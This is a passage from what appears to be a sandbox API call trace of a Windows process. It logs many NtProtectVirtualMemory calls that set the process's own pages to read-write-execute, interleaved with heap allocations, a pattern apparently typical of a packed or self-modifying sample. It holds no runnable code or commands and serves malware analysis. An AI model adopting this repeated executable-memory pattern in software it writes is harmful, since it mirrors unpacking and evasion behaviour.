OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.392] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.403] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x930a60) returned 1 [0252.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.418] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.460] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.489] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.596] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.880] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x5000) returned 0x92da50 [0252.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.908] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.925] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x933a68) returned 1 [0252.963] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.990] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.050] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.190] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x932a58 [0253.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.205] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.245] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.332] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.411] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x933a60 [0253.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.499] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.509] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x932a58) returned 1 [0253.514] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.559] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.747] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0253.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, 